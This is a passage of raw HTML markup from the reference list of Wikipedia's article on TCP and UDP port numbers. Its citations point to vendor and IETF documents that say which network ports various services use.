title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=VMware+Knowledge+Base&amp;rft.atitle=vCenter+Server+4.1+network+port+requirements&amp;rft.date=2014-07-29&amp;rft_id=https%3A%2F%2Fkb.vmware.com%2Fkb%2F1022256&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-vmware-kb-1005189-113\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-vmware-kb-1005189_113-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-vmware-kb-1005189_113-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161006035808/https://kb.vmware.com/kb/1005189\">\"Required ports for configuring an external firewall to allow ESX/ESXi and vCenter Server traffic\"</a>. <i>VMware Knowledge Base</i>. 2014-08-01. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://kb.vmware.com/kb/1005189\">the original</a> on 2016-10-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-06</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=VMware+Knowledge+Base&amp;rft.atitle=Required+ports+for+configuring+an+external+firewall+to+allow+ESX%2FESXi+and+vCenter+Server+traffic&amp;rft.date=2014-08-01&amp;rft_id=https%3A%2F%2Fkb.vmware.com%2Fkb%2F1005189&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-centos-5-deployment-rndc-114\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-centos-5-deployment-rndc_114-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161006041539/https://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-bind-rndc.html\">\"Using rndc\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.centos.org/docs/5/html/Deployment_Guide-en-US/\"><i>Red Hat Enterprise Linux Deployment Guide</i></a> (5.0.0-19&#160;ed.). <a href=\"/wiki/Red_Hat\" title=\"Red Hat\">Red Hat</a> (published 2007-01-23). 2006. 16.4. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-bind-rndc.html\">the original</a> on 2016-10-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-06</span></span>. <q>...&#160;default TCP port 953&#160;...&#160;allow <code>rndc</code> commands&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Using+rndc&amp;rft.btitle=Red+Hat+Enterprise+Linux+Deployment+Guide&amp;rft.pages=16.4&amp;rft.edition=5.0.0-19&amp;rft.pub=Red+Hat&amp;rft.date=2006&amp;rft_id=https%3A%2F%2Fwww.centos.org%2Fdocs%2F5%2Fhtml%2FDeployment_Guide-en-US%2Fs1-bind-rndc.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-man-rndc.8-115\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-man-rndc.8_115-0\">^</a></b></span> <span class=\"reference-text\"><span class=\"plainlinksneverexpand\"><code><a rel=\"nofollow\" class=\"external text\" href=\"https://linux.die.net/man/8/rndc\">rndc(8)</a></code></span>&#160;–&#160;<a href=\"/wiki/Linux\" title=\"Linux\">Linux</a> Administration and Privileged Commands <a href=\"/wiki/Man_page\" title=\"Man page\">Manual</a>. \"...&#160;TCP port&#160;...&#160;BIND 9's default control channel port, 953.&#160;...\"</span>\n</li>\n<li id=\"cite_note-fw-1-ports-ng-116\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-fw-1-ports-ng_116-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161006045816/http://www.fw-1.de/aerasec/ng/ports-ng.html\">\"NG FAQ - Ports used by Check Point VPN-1/FireWall-1 Next Generation\"</a>. <i>FW-1.de</i> (published 2007-01-02). n.d. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.fw-1.de/aerasec/ng/ports-ng.html\">the original</a> on 2016-10-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-06</span></span>. <q>...&#160;981 /tcp&#160;...&#160;remote administration from external using HTTPS&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=FW-1.de&amp;rft.atitle=NG+FAQ+-+Ports+used+by+Check+Point+VPN-1%2FFireWall-1+Next+Generation&amp;rft.chron=n.d.&amp;rft_id=http%3A%2F%2Fwww.fw-1.de%2Faerasec%2Fng%2Fports-ng.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-tn-cc52751-117\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-msft-tn-cc52751_117-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/cc527519(v=ws.10).aspx\">\"Managing Windows Small Business Server 2008 Remote Web Workplace\"</a>. <i><a href=\"/wiki/Microsoft_TechNet\" title=\"Microsoft TechNet\">Microsoft TechNet</a></i> (published 2009-10-08). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170705023650/https://technet.microsoft.com/en-us/library/cc527519%28v%3Dws.10%29.aspx\">Archived</a> from the original on 2017-07-05<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-07-05</span></span>. <q>...<div><ul><li>Windows SBS 2008 must allow connections through TCP ports 80, 443, 987, and 3389.</li><li>The computer used to connect to Remote Web Workplace must allow connections through TCP ports 80, 443, 987, and 3389.</li><li>Routers on Windows SBS 2008 must be configured to forward Internet traffic to TCP ports 80, 443, 987, and 3389.</li></ul></div>...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Microsoft+TechNet&amp;rft.atitle=Managing+Windows+Small+Business+Server+2008+Remote+Web+Workplace&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fcc527519%28v%3Dws.10%29.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-118\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-118\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://wiki.lustre.org/Lustre_Networking_(LNET)_Overview\">\"Lustre Networking Overview\"</a>. <q>...&#160;By default, socklnd uses TCP port 988 to create connections, and this must not be blocked by any firewalls.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Lustre+Networking+Overview&amp;rft_id=https%3A%2F%2Fwiki.lustre.org%2FLustre_Networking_%28LNET%29_Overview&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-119\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-119\">^</a></b></span> <span class=\"reference-text\">RFC 4707</span>\n</li>\n<li id=\"cite_note-cendio-docs-tag-tcp-ports-120\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-cendio-docs-tag-tcp-ports_120-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161006052247/https://www.cendio.com/resources/docs/tag/tcp-ports.html\">\"Appendix A. TCP Ports Used by ThinLinc\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://www.cendio.com/resources/docs/tag/\"><i>ThinLinc Administrator's Guide for ThinLinc 4.6.0</i></a>. <a href=\"/w/index.php?title=Cendio_AB&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Cendio AB (page does not exist)\">Cendio AB</a> (published 2016). n.d. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://www.cendio.com/resources/docs/tag/tcp-ports.html\">the original</a> on 2016-10-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-06</span></span>. <q>...&#160;By default, ThinLinc's web-based administration interface is available on TCP port 1010.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Appendix+A.+TCP+Ports+Used+by+ThinLinc&amp;rft.btitle=ThinLinc+Administrator%27s+Guide+for+ThinLinc+4.6.0&amp;rft.pub=Cendio+AB&amp;rft_id=https%3A%2F%2Fwww.cendio.com%2Fresources%2Fdocs%2Ftag%2Ftcp-ports.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ibm-zos-surpp-121\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ibm-zos-surpp_121-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\">\"Setting up reserved (privileged) ports\". <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20180420000427/https://www-304.ibm.com/servers/resourcelink/svc00100.nsf/pages/zosv2r3sc236883/$file/idan400_v2r3.pdf\"><i>z/OS Network File System Guide and Reference</i></a> <span class=\"cs1-format\">(PDF)</span> (Version 2 Release 3&#160;ed.). <a href=\"/wiki/IBM\" title=\"IBM\">IBM</a>. p.&#160;178. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://www-304.ibm.com/servers/resourcelink/svc00100.nsf/pages/zosv2r3sc236883/$file/idan400_v2r3.pdf\">the original</a> <span class=\"cs1-format\">(PDF)</span> on 2018-04-20<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-20</span></span>. <q>...&#160;The z/OS client attempts to use reserved port 1023 and if that port is not available, the z/OS client will subtract one from 1023 until a reserve&#32;&#91;<i><a href=\"/wiki/Sic\" title=\"Sic\">sic</a>?</i>&#93; port is available.&#160;...&#160;When specifying secure(udp) or proto(udp), the z/OS client uses the privileged UDP ports to communicate with the NFS servers. When specifying proto(tcp) the z/OS client uses the privileged TCP ports to communicate the MOUNT RPC or UNMOUNT RPC with the NFS server. However, the z/OS client uses the ephemeral TCP ports to communicate NFS RPC with the NFS server.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Setting+up+reserved+%28privileged%29+ports&amp;rft.btitle=z%2FOS+Network+File+System+Guide+and+Reference&amp;rft.pages=178&amp;rft.edition=Version+2+Release+3&amp;rft.pub=IBM&amp;rft_id=https%3A%2F%2Fwww-304.ibm.com%2Fservers%2Fresourcelink%2Fsvc00100.nsf%2Fpages%2Fzosv2r3sc236883%2F%24file%2Fidan400_v2r3.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc6751-122\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc6751_122-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFCarpenterDanJiang2012\" class=\"citation cs1\">Carpenter, Brian; Dan, Wing; Jiang, Sheng Jiang (October 2012).  Despres, Remi (ed.). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6751\"><i>Native IPv6 behind IPv4-to-IPv4 NAT Customer Premises Equipment (6a44)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC6751\">10.17487/RFC6751</a></span>. <a href=\"/wiki/ISSN_(identifier)\" class=\"mw-redirect\" title=\"ISSN (identifier)\">ISSN</a>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"//www.worldcat.org/issn/2070-1721\">2070-1721</a>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc6751\">6751</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Native+IPv6+behind+IPv4-to-IPv4+NAT+Customer+Premises+Equipment+%286a44%29&amp;rft.pub=IETF&amp;rft.date=2012-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC6751&amp;rft.issn=2070-1721&amp;rft.aulast=Carpenter&amp;rft.aufirst=Brian&amp;rft.au=Dan%2C+Wing&amp;rft.au=Jiang%2C+Sheng+Jiang&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6751&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-124\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-124\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFRamadasBurleighFarrell\" class=\"citation cs1\">Ramadas, Manikantan; Burleigh, Scott C.; Farrell, Stephen. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5326#section-5\"><i>Licklider Transmission Protocol - Specification</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;23.&#160;sec.&#160;5. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5326\">10.17487/RFC5326</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5326\">5326</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Licklider+Transmission+Protocol+-+Specification&amp;rft.pages=p.-23.-sec.-5&amp;rft.pub=IETF&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5326&amp;rft.aulast=Ramadas&amp;rft.aufirst=Manikantan&amp;rft.au=Burleigh%2C+Scott+C.&amp;rft.au=Farrell%2C+Stephen&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc5326%26%23035%3Bsection-5&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-125\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-125\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFRamadasBurleighFarrell\" class=\"citation cs1\">Ramadas, Manikantan; Burleigh, Scott C.; Farrell, Stephen. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5326#section-10.1\"><i>Licklider Transmission Protocol - Specification</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;51.&#160;sec.&#160;10.1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5326\">10.17487/RFC5326</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5326\">5326</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Licklider+Transmission+Protocol+-+Specification&amp;rft.pages=p.-51.-sec.-10.1&amp;rft.pub=IETF&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5326&amp;rft.aulast=Ramadas&amp;rft.aufirst=Manikantan&amp;rft.au=Burleigh%2C+Scott+C.&amp;rft.au=Farrell%2C+Stephen&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc5326%26%23035%3Bsection-10.1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-blizzard-126\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-blizzard_126-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-blizzard_126-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-blizzard_126-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-blizzard_126-3\"><sup><i><b>d</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120808071221/http://us.battle.net/support/en/article/firewall-configuration-for-blizzard-games#4\">\"Firewall, Proxy, Router and Port Configuration for Blizzard Games\"</a>. Blizzard Entertainment. 2012-12-07. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://us.battle.net/support/en/article/firewall-configuration-for-blizzard-games#4\">the original</a> on 2012-08-08<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-04-02</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Firewall%2C+Proxy%2C+Router+and+Port+Configuration+for+Blizzard+Games&amp;rft.pub=Blizzard+Entertainment&amp;rft.date=2012-12-07&amp;rft_id=https%3A%2F%2Fus.battle.net%2Fsupport%2Fen%2Farticle%2Ffirewall-configuration-for-blizzard-games%234&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-dell-opnmang-srvr-admin-127\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-dell-opnmang-srvr-admin_127-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://topics-cdn.dell.com/pdf/dell-opnmang-srvr-admin-v8.0.1_Setup%20Guide_en-us.pdf\">\"Dell OpenManage Version 8.0.1 Port Information Guide\"</a> <span class=\"cs1-format\">(PDF)</span>. <i>Dell</i>. 2014. p.&#160;15<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-08-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Dell&amp;rft.atitle=Dell+OpenManage+Version+8.0.1+Port+Information+Guide&amp;rft.pages=15&amp;rft.date=2014&amp;rft_id=http%3A%2F%2Ftopics-cdn.dell.com%2Fpdf%2Fdell-opnmang-srvr-admin-v8.0.1_Setup%2520Guide_en-us.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-festival_7-128\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-festival_7_128-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.cstr.ed.ac.uk/projects/festival/manual/festival_7.html#SEC19\">\"Basic command line options\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://www.cstr.ed.ac.uk/projects/festival/manual/\"><i>The Festival Speech Synthesis System – System documentation</i></a>. <i>The Centre for Speech Technology Research</i> (1.4&#160;ed.). University of Edinburgh (published 1999-06-19). 1999-06-17. 7.1. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160828142032/http://www.cstr.ed.ac.uk/projects/festival/manual/festival_7.html\">Archived</a> from the original on 2016-08-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-27</span></span>. <q>...&#160;Festival waits for clients on a known port (the value of <code>server_port</code>, default is 1314).&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Basic+command+line+options&amp;rft.btitle=The+Festival+Speech+Synthesis+System+%E2%80%93+System+documentation&amp;rft.pages=7.1&amp;rft.edition=1.4&amp;rft.pub=University+of+Edinburgh&amp;rft.date=1999-06-17&amp;rft_id=http%3A%2F%2Fwww.cstr.ed.ac.uk%2Fprojects%2Ffestival%2Fmanual%2Ffestival_7.html%23SEC19&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-129\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-129\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=1337\">\"IANA - Service Name and Transport Protocol Port Number Registry\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IANA+-+Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D1337&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-130\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-130\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://strapi.io/documentation/v3.x/admin-panel/customization.html#change-access-url\">\"Strapi Documentation\"</a>. <i>strapi.io</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-06-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=strapi.io&amp;rft.atitle=Strapi+Documentation&amp;rft_id=https%3A%2F%2Fstrapi.io%2Fdocumentation%2Fv3.x%2Fadmin-panel%2Fcustomization.html%23change-access-url&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-131\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-131\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFShahid2016\" class=\"citation book cs1\">Shahid, Shaikh (2016). <a rel=\"nofollow\" class=\"external text\" href=\"https://books.google.com/books?id=01hLDAAAQBAJ&amp;pg=PA31\">\"Chapter 4, Developing REST API Using Sails.js\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://books.google.com/books?id=01hLDAAAQBAJ\"><i>Sails.js Essentials</i></a>. Birmingham, UK: Packt. p.&#160;35. <a href=\"/wiki/ISBN_(identifier)\" class=\"mw-redirect\" title=\"ISBN (identifier)\">ISBN</a>&#160;<a href=\"/wiki/Special:BookSources/9781783554546\" title=\"Special:BookSources/9781783554546\"><bdi>9781783554546</bdi></a>. <a href=\"/wiki/OCLC_(identifier)\" class=\"mw-redirect\" title=\"OCLC (identifier)\">OCLC</a>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"//www.worldcat.org/oclc/944986529\">944986529</a> &#8211; via Google Books (Preview). <q>...<p>To run our code, type the following command in the terminal:</p><p><code>sails lift</code></p><p>Your app will be running on <code>localhost:1337</code>. Let's test it.&#160;...</p>...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Chapter+4%2C+Developing+REST+API+Using+Sails.js&amp;rft.btitle=Sails.js+Essentials&amp;rft.place=Birmingham%2C+UK&amp;rft.pages=35&amp;rft.pub=Packt&amp;rft.date=2016&amp;rft_id=info%3Aoclcnum%2F944986529&amp;rft.isbn=9781783554546&amp;rft.aulast=Shahid&amp;rft.aufirst=Shaikh&amp;rft_id=https%3A%2F%2Fbooks.google.com%2Fbooks%3Fid%3D01hLDAAAQBAJ%26pg%3DPA31&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-citrixblogger-132\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-citrixblogger_132-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-citrixblogger_132-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMuir\" class=\"citation web cs1\">Muir, Jeff. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120615184554/http://citrixblogger.org/2008/03/14/two-port-ica\">\"Two Port ICA\"</a>. p.&#160;1. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://citrixblogger.org/2008/03/14/two-port-ica/\">the original</a> on 15 June 2012<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2008-03-14</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Two+Port+ICA&amp;rft.pages=1&amp;rft.aulast=Muir&amp;rft.aufirst=Jeff&amp;rft_id=http%3A%2F%2Fcitrixblogger.org%2F2008%2F03%2F14%2Ftwo-port-ica%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ibm-support-swg21625297-133\"><span 